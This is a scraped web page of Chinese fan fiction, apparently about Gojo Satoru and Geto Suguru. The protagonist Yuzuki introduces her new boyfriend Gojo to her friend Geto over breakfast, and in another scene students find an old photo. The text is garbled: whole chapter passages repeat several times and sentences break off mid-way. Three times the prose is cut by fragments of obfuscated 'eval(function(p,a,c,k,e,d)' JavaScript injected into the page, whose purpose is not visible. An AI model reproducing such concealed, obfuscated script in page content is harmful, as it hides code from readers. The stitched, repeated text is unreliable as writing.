;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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办公室半掩的门被路过的家入硝子推开,她叼着棒棒糖像背后灵一样悄无声息的冒出来:“我说,你们在五条的办公室里偷偷摸摸做什么?” “硝、硝子前辈!” 三个一年级难得默契了一把,恭敬的鞠躬,齐齐把偷看的相框藏在了身后。 家入硝子眯了眯眼睛:“你们,藏了什么?” “没、没有啦!”虎杖悠仁急忙摆手:“我们只是来五条老师的办公室找他给我们布置的作业。” “没错。” “就是这样的!” 硝子眉梢微扬:“把你背在后面的手伸出来,野蔷薇。” 女孩苦着脸,一脸不情不愿的交出来了试图偷偷带出去以后用来‘威胁老师’的赃品。 硝子接过来相框,低头看见相片里的那两个人时明显愣了一下。 “这两个人是谁啊?”野蔷薇终于还是没忍住:“我们是在找作业的时候,在那家伙的抽屉里找到的。我们高专任职的老师和辅助监督里,根本就没有这两号人吧?” 家入硝子恢复了一贯淡然的神情,语调平静,听不出起伏:“他们不是高专的了。” “啊?可是,他们明明穿着高专的校服,怎么可能不——” “一个是叛逃的特级咒诅师。” “还有一个呢?” “算是死了。” “——算是死了?!不可能吧?!我都能死而复生呢。而且还有反转术式什么的,怎么想也不可能——” 家入硝子冷冷地打断了粉发少年不可置信的质疑:“有些人是不允许被存在的。好了。到此为止。” 她没收了相框,揣进了白大褂的口袋里,潇洒转身离开,不顾背后学生们的哀嚎。 29.第 29 章 朝日奈结月是在第二天早上起来才被爆棚的羞耻心再一次吞没。 她都做了什么啊……邀请才刚确认关系一天的男朋友来家里,暗示些还不到时间节点发生的事情就算了,她还突然冲上去抱住他哭得妆都花了…… 这样一个情绪不稳定·对肢体接触明显过于渴望的女朋友,如果她是五条悟本人,真的是要连夜扛着新干线逃走吧!! 果然五条悟才是那个正常的普通人。牢牢的、精准的把她这个一点也不正常的普通人控制在了‘正常范畴’内。 难得连续留宿的男闺蜜温柔的敲了敲她的房门:“早饭好了哦,结月酱。” “我这就起床,马上——” 放在枕头底下的手机就是在这个时候骤然响起。 早上七点四十三,谁会这个点给她打电话? 她揉着还没睡醒的惺忪眼睛,慢吞吞的摸出来手机,低头看了一眼那个备注,整个人瞬间就醒了。 是她新晋男朋友! 他这么早打电话来……不会真的被她的不正常吓到以后来和她分手的吧?怎么办怎么办怎么办—— 结月深呼吸,尽可能镇静自若的按下了接听键,内心已经开始打起了如何挽回男友的草稿:“摩西摩西?” 下一秒,五条悟一大早依旧神采奕奕的声音就这样清晰地传入耳里:“结月酱,醒了吗?” 结月诡异的安静了一秒钟:“如果没有醒就不会接你的电话了呢,悟。” “那正好耶,快来开门啦。今天突然降温,超冷诶,早餐都要冷掉了哦。” 结月差点以为自己脑子卡壳了,连日语都听不懂了。 “纳尼?悟在说什么?” 五条悟愉悦地说:“我在你家门口了哦。昨天不是说好了嘛,男朋友会带着超——级好吃的早餐来接你。” 朝日奈结月整个人一下子就不好了。 她是想要在今天介绍男朋友和男闺蜜认识见面没有错,但是地点应该是彼此都穿着体面、地点优雅的根津博物馆,而不是男闺蜜正在搅拌纳豆、她穿着恐龙睡衣的家里—— 虽然,是的的确她昨天晚上真的很想和他一起过夜并且发生一些成年人应该发生的事情,但是那是晚上!晚!上! 怎么回事啊五条悟,一到晚上就是深闺妇男,一到白天就是精神小伙吗?! 而且—— “玉子烧也好了呢,结月酱。”男闺蜜在门口温和的又唤了一声。 结月下意识捂紧了话筒——不是这种明明和男闺蜜无比清白但是莫名心虚的偷情感是怎么回事啊可恶。 “快开门啦结月。不会在化妆吧你?我女朋友就算素颜也超漂亮诶。先把你男朋友放进来啦。” 结月:“……” “现在就来给你开门。” 她听见自己这么说。 语气里有种久违的“活人微死感”,像是连续三天不吃不喝通宵赶画稿时才会出现的状态。 她掀开被子下床的时候,脚步都是飘的。 清晨的走廊泛着一点冷意。 拖鞋踩在地板上,每一步都像是被推着往前。 她一边走,一边在心里飞快地计算—— 现在挂断电话装作没听见是不是太刻意? 假装不在家会不会更糟? 以及—— 门外站着的那个人, 真的是她刚确认关系不到一天的男朋友。 门铃没有再响。 他大概正很有耐心地站在门外等她。 这种耐心,反而更让人心虚。 结月站在玄关前,深吸了一口气,伸手搭上门把的瞬间—— 厨房方向传来细碎的声响。 碗碟轻轻相碰。 纳豆被搅拌开的、极其生活化的黏稠声。 这个家过于真实了。 真实到不该在这种时间、这种状态下,让五条悟踏进来。 “……冷静,朝日奈结月。” 她低声对自己说了一句。 下一秒,门被拉开。 清晨的空气裹着寒意涌进来。 白发的男人站在门口,穿着过于轻便的外套,围巾随意绕着,手里拎着一个纸袋。 袋口微微敞开,能看见热气还没散尽的吐司边角。 他低头看她。 目光在她脸上停了一瞬,又慢悠悠地下移。 恐龙睡衣。 乱翘的头发。 明显刚醒没多久的脸。 毫无防备。 “诶。” 五条悟眨了下眼,语气轻快得不行。 “超可爱。” 结月:“……” 她人生中第一次如此清晰地意识到, 后悔这种情绪,是可以在零点五秒内达到峰值的。 “早啊,结月酱。” 他完全没有要站在门外寒暄的意思,自然地往前一步。 “我进来咯?外面真的好冷。” 结月的大脑发出了一声微弱却尖锐的警报。 她还没来得及组织出一个完整的拒绝句式, 厨房里的脚步声已经朝这边靠近。 “是有客人吗,结月酱——” 声音落下的同时,五条悟已经换好鞋站进了玄关。 他把早餐纸袋塞进她手里。 下一秒,手指顺势滑下来。 极其自然地,扣住了她的手。 十指相扣。 没有用力。 也没有停顿。 像是这件事本来就该发生。 结月的呼吸在那一瞬间乱了节拍。 她甚至来不及反应,他已经牵着她往里走了半步。 就在这时—— 厨房门口的人影停住了脚步。 两道视线,在空气中正面撞上。 这一秒,没有人先移开。 结月站在中间,清楚地意识到一件事—— 她已经来不及解释了。 她深呼吸—— 冷静!冷静啊朝日奈结月!虽然这个场面看起来真的很容易让人误会,但是她真的没有脚踏两条船,她和男闺蜜也真的是完完全全的清清白白! “我来向你们介绍一下。”她再次深呼吸,下意识摆出紧张时才会露出的那种机械的微笑。 她转过头先看向男朋友:“悟,给你介绍一下,这位是夏油杰先生,是我的男闺蜜,我最最最要好的朋友,现在本职是一家当地小教会的神父。” 然后她转过头看向男闺蜜:“杰,这位是我和你昨天提到过的,我的男朋友,五条悟先生,现在本职是一家小型宗教高中的班主任。” “额……那个……就请你们两位,多多指教?” 话音落下的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一口一个敬称五条先生夏油先生的,但是感觉不到半点对彼此的尊敬是怎么回事? 说话间五条悟已经完全把她家当成自己家了一样,先伸手替她拉开了椅子,然后又特别自然而然且自来熟的坐到了她的旁边,起身去冰箱里替他自己倒了杯橙汁。 并不希望自己的男朋友和男闺蜜初次见面就闹得这么僵,朝日奈结月尝试着缓和气氛:“你们不用对彼此这么客气啦。大家互相称呼名字就好啦。” “啊说起来,杰你是不是有一位挚友之前吵架冷战了很多年最近才和好?悟好像也是诶,好巧啊!” 夏油杰笑意不减的看了一眼五条悟,语气平和地说:“有吗?结月酱记错了吧。我的那位挚友不小心过世很多年了呢。” “好巧哦。我的那位挚友也是。”五条悟语气真诚地说:“坟头草都两米高了吧?” ……真的是她记忆错乱了吗还是他们现在在胡说八道啊?! 本来记性就不是很好的结月在选择怀疑男朋友和男闺蜜还是怀疑自己之间果断选择了怀疑自己。 可能大概真的是她又记忆错乱了吧…… “啊,那不是更有缘分了吗!”她眼睛一亮:“那就在今天一起成为好朋友吧。” ……这是什么小学鸡发言。 这句话说完以后她自己都脸红了。 29.第 29 章 朝日奈结月是在第二天早上起来才被爆棚的羞耻心再一次吞没。 她都做了什么啊……邀请才刚确认关系一天的男朋友来家里,暗示些还不到时间节点发生的事情就算了,她还突然冲上去抱住他哭得妆都花了…… 这样一个情绪不稳定·对肢体接触明显过于渴望的女朋友,如果她是五条悟本人,真的是要连夜扛着新干线逃走吧!! 果然五条悟才是那个正常的普通人。牢牢的、精准的把她这个一点也不正常的普通人控制在了‘正常范畴’内。 难得连续留宿的男闺蜜温柔的敲了敲她的房门:“早饭好了哦,结月酱。” “我这就起床,马上——” 放在枕头底下的手机就是在这个时候骤然响起。 早上七点四十三,谁会这个点给她打电话? 她揉着还没睡醒的惺忪眼睛,慢吞吞的摸出来手机,低头看了一眼那个备注,整个人瞬间就醒了。 是她新晋男朋友! 他这么早打电话来……不会真的被她的不正常吓到以后来和她分手的吧?怎么办怎么办怎么办—— 结月深呼吸,尽可能镇静自若的按下了接听键,内心已经开始打起了如何挽回男友的草稿:“摩西摩西?” 下一秒,五条悟一大早依旧神采奕奕的声音就这样清晰地传入耳里:“结月酱,醒了吗?” 结月诡异的安静了一秒钟:“如果没有醒就不会接你的电话了呢,悟。” “那正好耶,快来开门啦。今天突然降温,超冷诶,早餐都要冷掉了哦。” 结月差点以为自己脑子卡壳了,连日语都听不懂了。 “纳尼?悟在说什么?” 五条悟愉悦地说:“我在你家门口了哦。昨天不是说好了嘛,男朋友会带着超——级好吃的早餐来接你。” 朝日奈结月整个人一下子就不好了。 她是想要在今天介绍男朋友和男闺蜜认识见面没有错,但是地点应该是彼此都穿着体面、地点优雅的根津博物馆,而不是男闺蜜正在搅拌纳豆、她穿着恐龙睡衣的家里—— 虽然,是的的确她昨天晚上真的很想和他一起过夜并且发生一些成年人应该发生的事情,但是那是晚上!晚!上! 怎么回事啊五条悟,一到晚上就是深闺妇男,一到白天就是精神小伙吗?! 而且—— “玉子烧也好了呢,结月酱。”男闺蜜在门口温和的又唤了一声。 结月下意识捂紧了话筒——不是这种明明和男闺蜜无比清白但是莫名心虚的偷情感是怎么回事啊可恶。 “快开门啦结月。不会在化妆吧你?我女朋友就算素颜也超漂亮诶。先把你男朋友放进来啦。” 结月:“……” “现在就来给你开门。” 她听见自己这么说。 语气里有种久违的“活人微死感”,像是连续三天不吃不喝通宵赶画稿时才会出现的状态。 她掀开被子下床的时候,脚步都是飘的。 清晨的走廊泛着一点冷意。 拖鞋踩在地板上,每一步都像是被推着往前。 她一边走,一边在心里飞快地计算—— 现在挂断电话装作没听见是不是太刻意? 假装不在家会不会更糟? 以及—— 门外站着的那个人, 真的是她刚确认关系不到一天的男朋友。 门铃没有再响。 他大概正很有耐心地站在门外等她。 这种耐心,反而更让人心虚。 结月站在玄关前,深吸了一口气,伸手搭上门把的瞬间—— 厨房方向传来细碎的声响。 碗碟轻轻相碰。 纳豆被搅拌开的、极其生活化的黏稠声。 这个家过于真实了。 真实到不该在这种时间、这种状态下,让五条悟踏进来。 “……冷静,朝日奈结月。” 她低声对自己说了一句。 下一秒,门被拉开。 清晨的空气裹着寒意涌进来。 白发的男人站在门口,穿着过于轻便的外套,围巾随意绕着,手里拎着一个纸袋。 袋口微微敞开,能看见热气还没散尽的吐司边角。 他低头看她。 目光在她脸上停了一瞬,又慢悠悠地下移。 恐龙睡衣。 乱翘的头发。 明显刚醒没多久的脸。 毫无防备。 “诶。” 五条悟眨了下眼,语气轻快得不行。 “超可爱。” 结月:“……” 她人生中第一次如此清晰地意识到, 后悔这种情绪,是可以在零点五秒内达到峰值的。 “早啊,结月酱。” 他完全没有要站在门外寒暄的意思,自然地往前一步。 “我进来咯?外面真的好冷。” 结月的大脑发出了一声微弱却尖锐的警报。 她还没来得及组织出一个完整的拒绝句式, 厨房里的脚步声已经朝这边靠近。 “是有客人吗,结月酱——” 声音落下的同时,五条悟已经换好鞋站进了玄关。 他把早餐纸袋塞进她手里。 下一秒,手指顺势滑下来。 极其自然地,扣住了她的手。 十指相扣。 没有用力。 也没有停顿。 像是这件事本来就该发生。 结月的呼吸在那一瞬间乱了节拍。 她甚至来不及反应,他已经牵着她往里走了半步。 就在这时—— 厨房门口的人影停住了脚步。 两道视线,在空气中正面撞上。 这一秒,没有人先移开。 结月站在中间,清楚地意识到一件事—— 她已经来不及解释了。 她深呼吸—— 冷静!冷静啊朝日奈结月!虽然这个场面看起来真的很容易让人误会,但是她真的没有脚踏两条船,她和男闺蜜也真的是完完全全的清清白白! “我来向你们介绍一下。”她再次深呼吸,下意识摆出紧张时才会露出的那种机械的微笑。 她转过头先看向男朋友:“悟,给你介绍一下,这位是夏油杰先生,是我的男闺蜜,我最最最要好的朋友,现在本职是一家当地小教会的神父。” 然后她转过头看向男闺蜜:“杰,这位是我和你昨天提到过的,我的男朋友,五条悟先生,现在本职是一家小型宗教高中的班主任。” “额……那个……就请你们两位,多多指教?” 话音落下的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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并不希望自己的男朋友和男闺蜜初次见面就闹得这么僵,朝日奈结月尝试着缓和气氛:“你们不用对彼此这么客气啦。大家互相称呼名字就好啦。” “啊说起来,杰你是不是有一位挚友之前吵架冷战了很多年最近才和好?悟好像也是诶,好巧啊!” 夏油杰笑意不减的看了一眼五条悟,语气平和地说:“有吗?结月酱记错了吧。我的那位挚友不小心过世很多年了呢。” “好巧哦。我的那位挚友也是。”五条悟语气真诚地说:“坟头草都两米高了吧?” ……真的是她记忆错乱了吗还是他们现在在胡说八道啊?! 本来记性就不是很好的结月在选择怀疑男朋友和男闺蜜还是怀疑自己之间果断选择了怀疑自己。 可能大概真的是她又记忆错乱了吧…… “啊,那不是更有缘分了吗!”她眼睛一亮:“那就在今天一起成为好朋友吧。” ……这是什么小学鸡发言。 这句话说完以后她自己都脸红了。